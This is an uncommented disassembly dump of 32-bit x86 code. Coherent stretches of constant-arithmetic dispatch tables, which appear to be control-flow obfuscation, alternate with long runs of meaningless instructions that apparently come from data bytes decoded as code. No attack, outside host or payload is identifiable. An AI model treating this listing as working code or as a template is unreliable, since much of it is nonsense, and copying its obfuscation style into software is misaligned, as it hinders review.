lodsd eax, dword [esi]
pop ebx
add edx, esp
xor al, 0x80
imul esp, edi, 0xffffff91
add byte [edi + 0x3dc69672], bl
out 0x79, eax
push edi
aad 0x69
xlatb
mov bl, 0xf2
invalid
nop
jmp 0x682fb0db
nop
jmp 0x682fb0db
add dword [ebp + 8], 2
mov eax, dword [ebp + 8]
movzx eax, word [eax]
mov word [ebp - 0xa], ax
cmp word [ebp - 0xa], 0
jne 0x682e5313
mov dword [ebp - 0x1b0], 0xccacd
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0x1b8], 0x2729e
mov dword [ebp - 0x1b4], 0
mov ecx, dword [ebp - 0x1b0]
mov ebx, dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x1b8]
mov edx, dword [ebp - 0x1b4]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], edx
mov eax, dword [ebp - 0x1c0]
xor eax, 0xf3d6b
or eax, dword [ebp - 0x1bc]
je 0x682e5307
mov edx, 0xf3d6b
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x682e530d
mov eax, dword [ebp - 0x1c0]
xor eax, 0xf037d
or eax, dword [ebp - 0x1bc]
je 0x682e14ca
mov edx, 0xf037d
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x682e530d
mov eax, dword [ebp - 0x1c0]
xor eax, 0xd5ff7
or eax, dword [ebp - 0x1bc]
je 0x682e0a6a
mov edx, 0xd5ff7
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x682e530d
mov eax, dword [ebp - 0x1c0]
xor eax, 0xce603
or eax, dword [ebp - 0x1bc]
je 0x682e1f2a
mov edx, 0xce603
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x682e530d
mov eax, dword [ebp - 0x1c0]
xor eax, 0xc9eeb
or eax, dword [ebp - 0x1bc]
je 0x682e3e4a
mov edx, 0xc9eeb
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x682e530d
mov eax, dword [ebp - 0x1c0]
xor eax, 0xa4ad6
or eax, dword [ebp - 0x1bc]
je 0x682e000a
mov edx, 0xa4ad6
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x682e530d
mov eax, dword [ebp - 0x1c0]
xor eax, 0x7d1dc
or eax, dword [ebp - 0x1bc]
je 0x682e33ea
mov edx, 0x7d1dc
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x682e530d
mov eax, dword [ebp - 0x1c0]
xor eax, 0x703e8
or eax, dword [ebp - 0x1bc]
je 0x682e48aa
mov edx, 0x703e8
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x682e530d
mov eax, dword [ebp - 0x1c0]
xor eax, 0x5d6a4
or eax, dword [ebp - 0x1bc]
je 0x682deb4a
mov edx, 0x5d6a4
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x682e530d
mov eax, dword [ebp - 0x1c0]
xor eax, 0x56dd8
or eax, dword [ebp - 0x1bc]
je 0x682df5aa
mov edx, 0x56dd8
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x682e530d
mov eax, dword [ebp - 0x1c0]
xor eax, 0x1e6c8
or eax, dword [ebp - 0x1bc]
je 0x682e298a
mov eax, dword [ebp - 0x1c0]
xor eax, 0x4d183
or eax, dword [ebp - 0x1bc]
jne 0x682e530d
jge 0x682de154
das
insb byte es:[edi], dx
mov al, 0x45
or byte [esi], 0xd5
or dh, byte [eax + 0x7e]
clc
xchg esi, eax
clc
lds esp, [esi]
invalid
ljmp 0xb978:0x60cc1cec
pop ecx
adc eax, 0x8aa4b18b
ljmp 0xdf94
push ebp
sub eax, dword [ebx - 0x26]
pushal
pushal
ja 0x682df57c
push es
and al, 0x95
or byte [edi - 0x5b4b0b0f], bh
das
add eax, 0xcc0a6a2f
out dx, al
and ah, byte [0xc459de7a]
sbb ebx, ebx
adc al, 0xf
push ds
movsb byte es:[edi], byte [esi]
push 0xffffffffffffffdb
int3
lahf
jns 0x682df577
cmp al, 0xe2
mov esp, 0x36e3e71e
inc esp
fist word [eax]
or ebp, dword [eax + 0x62465c43]
scasb al, byte es:[edi]
loope 0x682df58e
adc cl, byte [ebx + edi*8]
jo 0x682df5e1
xlatb
cmp ah, cl
push ds
wait
pushfd
cld
mov ch, 0x5e
rcl esp, 0x5c
shl dword [ebp - 0x6d9987b0], 0x69
cmp eax, esp
test byte fs:[ebp + 0x44], 0xa7
push 0x54
push esp
rcl byte [eax - 0x1fb4ded1]
fld st(6)
pushfd
call 0xfaaf34bc
invalid
or esi, edi
xor dword [edi + 0x4e839961], 0xc5004f51
sub eax, 0x509384fc
test eax, 0xac174ab
ret 0x6934
mov bh, 0x95
lahf
jmp 0x682e0aa8
lodsd eax, dword [esi]
ficom word [eax]
outsb dx, byte [esi]
ret 0xd378
mov edi, 0xb91da97f
xchg ebx, eax
popfd
jb 0x682e149e
sahf
test dword [ebx], edx
mov edx, dword [esp + edi]
jb 0x682e14ff
adc ebp, edx
fdivr qword [edx + 0x34565160]
dec eax
push ebx
into
sub byte [ebp + 0x62], 0x2b
invalid
cli
pop esi
sbb dword [esi], 0x6ed7a029
cmp dword [eax - 0x6056e33a], esp
test eax, 0x89245c8f
pop es
and byte [eax - 0x7e0a2e59], dh
pop ecx
mov edx, 0x5aede4d7
jns 0x682e1517
cmp al, 0x26
and edx, esp
add al, 0xe5
push edi
sbb ebp, ebp
push es
lds eax, [ecx + 0x52]
cmpsb byte [esi], byte es:[edi]
movsd dword es:[edi], dword [esi]
rcr dword [ecx + 0x57d16d76], 1
xor eax, 0x48cb1fd5
sub al, 0x9b
enter 0x5538, 0xffffffffffffffd3
loop 0x682e1492
rcl dword [edi + 0x35]
aad 0x1f
retf
movsb byte es:[edi], byte [esi]
invalid
aas
sub al, 0xcd
inc ebx
adc eax, 0x93f5982e
test dword [ebx], ebx
invalid
inc esi
rcl ecx, cl
xchg ebx, eax
pop ebx
and edi, dword [ecx]
ret
or eax, 0x864e615c
xchg dword [ebp + 0x28], edx
shr dword [edx + 0x5a], cl
cli
xchg dword [edx - 0x6d62a7da], ebp
pop esi
pop eax
rcr esp, 0xca
invalid
lodsb al, byte [esi]
and al, 4
test dword [eax - 0x2879ecd9], edi
inc esp
mov eax, dword [0x5f560066]
daa
adc eax, dword [esi + 0x66a144d7]
add byte [esi + 0x5f], dl
mov dh, 0x70
jns 0x682e33ef
popfd
retf 0x4a83
push ebp
sti
xor eax, 0xe88318cd
out dx, al
adc esp, ecx
pop eax
stosd dword es:[edi], eax
mov byte [edi - 0x2c], dl
xchg byte [ebx], bh
rcl dword [esi - 9], 0x11
popal
add al, 0x8a
add edx, esp
salc
das
mov bl, 0x6c
mov ecx, 0x35403e9f
dec edx
test eax, 0x76fe52fe
mov bh, 0x5f
push esp
mov byte [edi + 0x667e2023], al
and eax, 0x60d9d2c0
push ss
or edx, dword [edx - 0x5f]
popal
loope 0x682e3eb3
push esp
test dword [edi - 0x35], esp
lahf
push ebx
dec ecx
adc dword [esi], ebp
fld xword [ecx + eax*2 + 0x78eaa36c]
inc esp
popal
test dword [edi + 0x613ab00], edx
add ch, byte [eax - 0x169932b]
sbb eax, 0x65993e5b
retf 0xb7f8
cdq
retf 0xb7f8
cmpsd dword [esi], dword es:[edi]
push eax
mov ecx, 0xd3ceb2ec
je 0x682e3ee1
in al, dx
daa
and eax, dword [eax - 0x77be476]
cld
jl 0x682e3eaa
mov cl, 0xdb
cmp al, 0xb7
sbb eax, 0xfa65ad51
aas
aas
fcomp st(2)
je 0x682e3e64
adc al, 0x62
movsd dword es:[edi], dword es:[esi]
mov ah, 0xdb
fxch st(4)
fnstenv [edi]
lea ebp, [esi - 4]
outsb dx, byte [esi]
cld
xor esp, dword [eax]
mov edi, 0x4fd4064d
invalid
mov cl, 0x1e
xchg dword [ecx + 0x6ac921e7], ebp
xchg dword [eax], ebx
push 0x22
rcr dword [0x52a1d1bc], 1
retf 0x8329
nop
jmp 0x6834c9d7
nop
jmp 0x6834c9d7
mov dword [ebp - 0x198], 0xa6060
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x1a0], 0x3b8fa
mov dword [ebp - 0x19c], 0
mov eax, dword [ebp - 0x194]
imul eax, dword [ebp - 0x1a0]
mov edx, eax
mov eax, dword [ebp - 0x19c]
imul eax, dword [ebp - 0x198]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x198]
mul dword [ebp - 0x1a0]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], edx
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], edx
mov eax, dword [ebp - 0x1a8]
xor eax, 0xa0871dc0
mov edx, dword [ebp - 0x1a4]
xor edx, 0x26
or eax, edx
je 0x682f1c6d
mov edx, 0xa0871dc0
mov eax, 0x26
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0xe4640
or eax, dword [ebp - 0x1a4]
je 0x682e5750
mov edx, 0xe4640
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0xc8a25
or eax, dword [ebp - 0x1a4]
je 0x682e9590
mov edx, 0xc8a25
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0xb91da
or eax, dword [ebp - 0x1a4]
je 0x682e80d0
mov edx, 0xb91da
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0xa70c0
or eax, dword [ebp - 0x1a4]
je 0x682f07b0
mov edx, 0xa70c0
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0x9d785
or eax, dword [ebp - 0x1a4]
je 0x682efd50
mov edx, 0x9d785
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0x943f8
or eax, dword [ebp - 0x1a4]
je 0x682ede30
mov edx, 0x943f8
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0x8e888
or eax, dword [ebp - 0x1a4]
je 0x682eb4b0
mov edx, 0x8e888
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0x8b227
or eax, dword [ebp - 0x1a4]
je 0x682e8b30
mov edx, 0x8b227
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0x853cb
or eax, dword [ebp - 0x1a4]
je 0x682ec970
mov edx, 0x853cb
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0x84ffc
or eax, dword [ebp - 0x1a4]
je 0x682e6c10
mov edx, 0x84ffc
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0x6e853
or eax, dword [ebp - 0x1a4]
je 0x682f1210
mov edx, 0x6e853
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0x6c206
or eax, dword [ebp - 0x1a4]
je 0x682e9ff0
mov edx, 0x6c206
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0x5098d
or eax, dword [ebp - 0x1a4]
je 0x682ef2f0
mov edx, 0x5098d
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0x4fcd1
or eax, dword [ebp - 0x1a4]
je 0x682ed3d0
mov edx, 0x4fcd1
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0x4f842
or eax, dword [ebp - 0x1a4]
je 0x682eaa50
mov edx, 0x4f842
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0x236d2
or eax, dword [ebp - 0x1a4]
je 0x682e7670
mov edx, 0x236d2
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0xe029
or eax, dword [ebp - 0x1a4]
je 0x682ebf10
mov edx, 0xe029
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x682f1c70
mov eax, dword [ebp - 0x1a8]
xor eax, 0x2e0c
or eax, dword [ebp - 0x1a4]
je 0x682e61b0
mov eax, dword [ebp - 0x1a8]
xor eax, 0x3cc8
or eax, dword [ebp - 0x1a4]
je 0x682ee890
jmp 0x682f1c70
dec ebp
js 0x682e578a
out dx, al
dec edi
invalid
inc esp
sub ebx, dword [ebx + 0x25]
imul cl
inc edi
sub eax, 0x9a8a24ef
xchg bl, bl
pop esp
imul ebp, dword [ecx - 0xf70f7ef], 0xffffffe9
mov bh, byte [edi]
int3
pop ss
mov edx, 0xc856a17f
test al, 0x6d
xchg edi, eax
mov cs, edi
cld
fild word [edx - 0x58725508]
cmpsd dword [esi], dword es:[edi]
mov eax, dword [0x6b4d97ae]
mov dword [0xd8097226], eax
aas
pop edx
push 0xffffffffffffffc6
js 0x682e61c1
cmp esp, dword [eax]
ret
dec esp
cmpsd dword [esi], dword es:[edi]
xchg edi, eax
popal
adc eax, 0x17bea0a1
cdq
daa
cmp ah, bh
cmp ecx, edx
mov ecx, 0x1583f04d
dec ebx
inc ebx
movsb byte es:[edi], byte [esi]
sbb dword [ebx + 0x50d8ba55], 0x3bf01786
mov bl, 0xa6
outsd dx, dword [esi]
adc dword [ebp - 0x3bdb6e67], ebp
rcr byte [ecx + esi*4 + 0x28148587], 1
popfd
cld
dec ecx
pop ebp
dec ecx
adc al, ch
aaa
ror ecx, 1
push ecx
clc
xor al, byte [esi - 0x2f]
fidiv dword [ebx - 3]
sbb al, 0xb7
test dword [edi + 0x1d], eax
das
test eax, 0xf3c6456f
fistp qword [edx - 0x1e]
scasb al, byte es:[edi]
sub ebp, dword [ecx - 0x2484d1b9]
mov dword [0xe5dd25fd], esi
pop edx
push es
adc al, 0x90
int3
adc cl, byte [edx - 0x108b6378]
push ss
dec edx
stosd dword es:[edi], eax
je 0x682e6ba8
pop edi
lcall 0x67f8, 0xd9f25167
push ebp
xchg ecx, eax
mov dh, bl
push ebp
xchg edx, eax
cmp dword [ecx - 0x5b], esi
insd dword es:[edi], dx
dec ebx
cmc
pop dword [ebx + 0x22]
add esp, dword [ebp - 0x192eaef0]
xor bh, byte [esi + 0x5046ee91]
cmp eax, 0x7a551b7e
xor ebp, dword [edx]
push esp
shl dl, 1
retf 0x8811
xchg esi, eax
mov eax, 0x63d5d176
clc
push ebx
mov cl, 0xdc
int3
or byte [edx - 0x76], 0xc0
retf
mov esp, 0x8183720e
cwde
scasb al, byte es:[edi]
pop edx
jno 0x682e7fee
ret 0x1431
mov dword [0xcdf28a4e], eax
xchg ebx, eax
sub ebp, ebx
cdq
jp 0x682e80c7
aas
cmp byte [ebp + 0x10], 0x57
jp 0x682e810a
or ah, byte [eax - 0x20649f76]
sbb byte [edi + 0x6ed394c5], bh
dec eax
mov esi, 0x706e3441
loopne 0x682e8049
jle 0x682e8144
or dword [edi - 0x70], ebp
int3
add ebp, ebx
jb 0x682e8109
sub bh, byte [eax]
out dx, al
mov bh, 0xac
pop ebp
test edx, ebp
jecxz 0x682e809e
pop ecx
pop ss
invalid
imul ebx, dword [ebx - 0x11], 0xffffffa1
mov bh, 0x34
int1
lea esp, [ebx - 0xa8910da]
pop ebx
out dx, eax
mov eax, dword [0x8df134b7]
mov dword [0xf576ef26], eax
pop ebx
ljmp 0x26fb
pop ds
std
stosb byte es:[edi], al
out 0x34, eax
clc
fdivr dword [edi - 0x5f66ef2c]
xchg edx, eax
stc
or dword [edx], edx
sbb bh, byte [edx - 0x53a2d839]
ret 0x252
mov esi, 0xb3cba77d
and al, cl
out 0xe2, eax
jns 0x682e8bac
fcomp qword [0x22344671]
and edx, esp
insd dword es:[edi], dx
invalid
mov edx, 0x8ce73da3
and dl, cl
lodsd eax, dword [esi]
pop edx
xchg ecx, eax
jg 0x682e8bb9
invalid
mov esi, 0xe24882b2
fisttp word [eax + edx*2]
invalid
mov cl, al
or esp, dword [ebx]
cdq
in eax, dx
push ss
shl dword [ebp + 0x14a999d6], 1
invalid
outsd dx, dword [esi]
shl dword [ebx + ebp*8 - 0x5a], cl
stosb byte es:[edi], al
add al, 0xc9
and al, 0xe7
add dl, byte [ebx + 0x60db2f9a]
pushal
wait
fisttp word [ebx]
mov byte [0x582cfdbb], al
push ecx
movntq qword [edx + 0x597c61f2], mm1
xchg dh, dl
and esi, dword [eax + ebx*2 + 0x5b347d4b]
ja 0x682e9540
cmp eax, 0x1fad2d25
inc edi
mov byte [0xb385ac62], al
mov edx, 0xa1b5e3f8
lds esp, [ebx + esi*2 - 0x49]
mul dword [ecx]
jns 0x682e94d9
jle 0x682e9587
mov ch, byte [edx - 0x3e]
xor al, byte [ecx + 0x7860d5c4]
movsx ecx, word [esi + edx*4]
cmpsb byte [esi], byte es:[edi]
sub bh, byte [eax]
test byte [edx + 0x19ac09f], bl
push cs
in al, 0x86
loopne 0x682e9509
jbe 0x682e957f
dec esp
lea ebx, [ecx]
pop ecx
test dword [ebx - 0x6d1b4ff8], eax
fcom dword [eax]
fcmovnb st(0), st(0)
invalid
jmp 0x7c8fcbd4
sbb al, ah
nop
int3
jle 0x682e9518
and al, 0xc7
jmp 0x682e952b
push ebp
mov al, byte [0x73382d89]
ja 0x682ea06c
xor byte [edi + 0x23], ah
mov byte [0x49cd14d4], al
inc ebx
out 0xc7, eax
pop ss
sal dword [esi + 0x75467fdb], 0xfa
int3
inc eax
int1
lahf
mov ah, 0xfb
invalid
cmp eax, 0x2c9b6941
dec edi
out dx, al
sahf
std
imul ebx, dword [edi], 0x78b6fdab
xchg esp, eax
retf
loope 0x682eb4dd
int3
hlt
ret 0x25b4
out dx, eax
inc ebp
imul byte [eax]
sub esp, dword [edi]
neg ecx
cmp byte [edx + ecx*2], 0x85
sbb bh, byte [edi + 0x14d8ef80]
cmpsb byte [esi], byte es:[edi]
inc esi
adc dh, byte [edi + 0xdd5a866]
sbb al, 0xf2
mov cl, 0xbb
sar dword [esp + ebx*8], cl
add dword [0x72fdb6ed], ecx
cmpsb byte [esi], byte es:[edi]
mov ebp, 0x60df5f24
imul ebx, esi, 0xffffffc2
xchg edx, eax
mov cl, 0x7d
pop es
xchg ebx, eax
cmp edi, eax
nop
add ah, byte [esi]
jae 0x682ebf86
rcl bl, cl
imul esi
jo 0x682ebed9
mov ebp, 0x6d083600
sal byte [esi + 0x33231f9b], 0xa3
pop ds
push 0x33f86c7
cld
out 0x4f, eax
or dl, byte [ebp + 0x43]
mov esi, 0x79d5ad86
ja 0x682ebfe6
movsb byte es:[edi], byte [esi]
sqrtps xmm5, xmmword [edx - 0x15404e9]
lodsd eax, dword [esi]
cmp dword ss:[ebx - 0x48], ebx
or ebp, ecx
ljmp 0x707a
push edi
sbb edx, ebx
jp 0x682ebffb
leave
push es
lea esp, [ebx - 0x11]
insd dword es:[edi], dx
xchg ebx, edi
mov word [edx + 0x49], ss
or al, 0xf8
mov ebp, 0xbe589e66
aam 0x50
scasd eax, dword es:[edi]
invalid
salc
xor eax, 0xea06164c
in eax, 0x6c
dec ebp
loop 0x682ec057
cmc
dec esi
add al, 0x3c
inc eax
dec edi
nop
wait
and dword [eax + 0x6f], edx
outsd dx, dword [esi]
inc ebx
add al, 0x3c
nop
int3
std
in al, 0x5c
xlatb
out dx, al
aas
pop ebp
pushfd
or al, 0xc1
sahf
or byte [esi], bl
sbb ch, byte [ebx + 0x1a098e7d]
xchg ebx, eax
cwde
push eax
push 0x574daf0a
popal
fnsave dword [ecx]
repne outsd dx, dword [esi]
mov dword [0xc69b14c5], eax
add eax, 0xc6aac548
mov al, 0x32
push ss
inc esp
rol dword [edi + ebx*2 - 0x11], 1
pop esp
mov al, 0xd3
lea ebx, [ecx + ebp - 0x2649047f]
add eax, 0x189a2461
jno 0x682ec04a
aas
sbb dword [ebp + ebp*8 + 0x41], esi
mov eax, dword [0xc1e9d8ef]
imul ebp, dword [edx + ebx - 0xea49214], 0xffffffe2
mov edx, 0xfe6e2085
scasd eax, dword es:[edi]
jbe 0x682ec0cd
mov edx, 0xca838448
mov ebp, 0x7943b266
invalid
dec edi
into
xchg bx, ax
jo 0x682ec0d4
lahf
cwde
sub byte [esp - 0x35a957e4], cl
in eax, dx
pop edi
dec ecx
mov dl, 0x14
outsb dx, byte [esi]
add dword [esi - 0x238658e], edi
cwde
movhps qword [ecx], xmm3
inc ebp
push esp
xchg esp, eax
aad 0x90
int3
sal dword [edi], cl
outsb dx, byte [esi]
mov bh, al
mov ebp, 0x90a46430
int3
ror byte [ebp + 0x36e2de19], cl
sahf
lea ebx, [ecx]
fsubrp st(2)
sahf
push esp
mov esi, 0x165b06b0
mov bh, 0x46
jnp 0x682ec971
sahf
inc ecx
push ds
out 0xf9, al
fcom dword [edx + 0x71]
pop ds
scasd eax, dword es:[edi]
sbb dl, byte [edi + 0x27]
jae 0x682ec95f
xor al, 0x39
lodsd eax, dword [esi]
jmp 0xab8087c3
cmp cl, byte [ebp - 0x59d2025f]
push edx
insd dword es:[edi], dx
sub dword [edx + edx*8], edx
add esi, dword [edi]
invalid
retf 0x9d0c
mov word [ecx - 0xb], fs
daa
test eax, 0xe2c03fd8
cmp byte [esi], dl
mov ebp, 0x9dc183d8
lodsd eax, dword [esi]
movsd dword es:[edi], dword [esi]
sar dword [0x237fe4b8], 1
add byte [ecx + edi*4 + 0x53], dl
dec edx
mov byte [0xe0d72e9], al
pop ecx
adc eax, 0x2d25cc83
in eax, 0xd8
fsub st(1)
sub ebx, dword [ecx + 0x12ca1c86]
bound ebx, qword [edx + 0x6be596e]
int3
loopne 0x682ee839
mov esp, dword [ebx + 0xf]
pop eax
sal dword [ebx + edx*2], 1
cmp dh, byte [edx + 0x334b8afa]
mov esi, ds
mov al, byte [0xc375d157]
sbb al, 0x41
xchg edi, eax
cmp bl, byte [0x4277e2d5]
mov bl, 0xa4
fsub qword [ebp - 0x28]
and eax, 0x1bc7f0bb
mov ebx, 0xf911a23e
test eax, 0xd2f5c604
lea ecx, [ebx - 0x2f0c0f63]
retf
invalid
arpl word [eax + 6], sp
mov eax, dword [0xd52e32f0]
inc esp
insb byte es:[edi], dx
and eax, 0xe3f8a181
sal dword [edx - 0x51b17dda], 1
jl 0x682efd1f
test ecx, ebp
clc
in al, 0x11
adc byte [ecx], bh
mov ah, byte [eax + 0x19815497]
stosd dword es:[edi], eax
mov dword [0xb8fc2abc], eax
test dword [esi - 0x18], esi
mov al, byte [0xf907c19]
out dx, al
cmpsd dword [esi], dword es:[edi]
sub edi, dword [esi + 0x31]
jle 0x682efd70
mov esi, 0xc9e339cf
pop esi
sub eax, 0x90e1ef22
int3
xchg edi, eax
mov ebx, 0x87c26272
mov ah, 0x25
movsb byte es:[edi], byte [esi]
jbe 0x682efd08
mov edx, 0x83f3d08d
mov fs, word [esi]
sal ebp, 0x9a
dec edx
add dword [edx + ebx], ebp
xor ebx, dword [edx - 0x22]
jnp 0x682efd3d
dec ecx
mov dh, 0x7b
xchg dword [0xc16a9dab], ecx
and dword [ebx + 0xd], esi
mov byte [0xf1e38b7b], al
push ecx
sub bh, byte [edx + edx*4 - 0x58]
push esp
out dx, eax
and al, 0x8b
jbe 0x682efdc3
movsd dword es:[edi], dword [esi]
les edx, [edx]
xor byte [ebx + 0x3903d2e7], ch
dec eax
cdq
div byte [edi*2 - 0x14b5acf9]
jecxz 0x682efd94
jge 0x682efda1
push ebx
dec edx
jmp 0x682efd81
into
mov ebx, 0xea52969f
je 0x682efd44
lahf
xchg esi, eax
push edx
ljmp 0x58af
retf 0x58af
pop edi
xor byte fs:[ebp + 0x381daeb4], bl
aam 0xc9
xor dword [ebp - 0x7bfa2f71], 0x3710bf60
les edi, [ebx - 0x230a28b5]
cmp bh, byte [esi]
rol byte [ebp + 0x6a565536], 0xe4
in eax, 0xa7
jns 0x682efd98
push 0x10eb1262
enter 0xffffffffffffa7c4, 0
sub byte [ebp + 0x70], 0xb1
invalid
fisubr dword [ecx]
and ebx, dword [esp + edx*4 + 0x2eef8f32]
xor dword [edx + 0x31f0439b], eax
or cl, 0x1f
rcl dword [esi + 0x1b]
popfd
neg byte [esi + 0x6c]
pop es
mov ebp, 0xe5e2cbdc
movd mm4, esi
into
fisttp word [ebp - 0x35]
mov word [eax + 0x5a], ss
push ds
xchg esp, eax
iretd
push cs
sbb dh, byte [eax + esi*2 + 0x36]
nop
int3
aam 0xa1
aam 0xa7
imul dword [ebp + eax*2 - 2]
test eax, 0xa81d3497
cmpsd dword [esi], dword es:[edi]
fild word [eax + 0x5d4863ab]
jnp 0x682f1238
and esi, dword [esp + ebp + 0x252d592]
sal dword [ebp + 0x48a5b85], cl
add ch, bh
or cl, byte [ebp + 0x3cca7673]
mov dword [0x2a1eaf2d], eax
cmp eax, 0x7e2fa7c8
jbe 0x682f1204
cmp al, 0xa3
sub eax, 0x3d2a1eaf
enter 0x2fa7, 0x7e
sub byte [0xe884276e], bl
add ebp, dword [edx]
invalid
nop
jmp 0x682f1c71
nop
mov dword [ebp - 0x180], 0xea616
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x188], 0xf44c
mov dword [ebp - 0x184], 0
mov ecx, dword [ebp - 0x180]
mov ebx, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x188]
mov edx, dword [ebp - 0x184]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x190]
xor eax, 0xf9a62
or eax, dword [ebp - 0x18c]
je 0x682fb0c8
mov edx, 0xf9a62
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x682fb0cb
mov eax, dword [ebp - 0x190]
xor eax, 0xec0f8
or eax, dword [ebp - 0x18c]
je 0x682f536b
mov edx, 0xec0f8
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x682fb0cb
mov eax, dword [ebp - 0x190]
xor eax, 0xe8c6a
or eax, dword [ebp - 0x18c]
je 0x682f7ceb
mov edx, 0xe8c6a
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x682fb0cb
mov eax, dword [ebp - 0x190]
xor eax, 0xb5db3
or eax, dword [ebp - 0x18c]
je 0x682f1f8b
mov edx, 0xb5db3
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x682fb0cb
mov eax, dword [ebp - 0x190]
xor eax, 0xa6050
or eax, dword [ebp - 0x18c]
je 0x682fa66b
mov edx, 0xa6050
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x682fb0cb
mov eax, dword [ebp - 0x190]
xor eax, 0x6e6f9
or eax, dword [ebp - 0x18c]
je 0x682f5dcb
mov edx, 0x6e6f9
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x682fb0cb
mov eax, dword [ebp - 0x190]
xor eax, 0x63448
or eax, dword [ebp - 0x18c]
je 0x682f682b
mov edx, 0x63448
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x682fb0cb
mov eax, dword [ebp - 0x190]
xor eax, 0x5b7a9
or eax, dword [ebp - 0x18c]
je 0x682f344b
mov edx, 0x5b7a9
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x682fb0cb
mov eax, dword [ebp - 0x190]
xor eax, 0x56dfa
or eax, dword [ebp - 0x18c]
je 0x682f3eab
mov edx, 0x56dfa
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x682fb0cb
mov eax, dword [ebp - 0x190]
xor eax, 0x540ce
or eax, dword [ebp - 0x18c]
je 0x682f9c0b
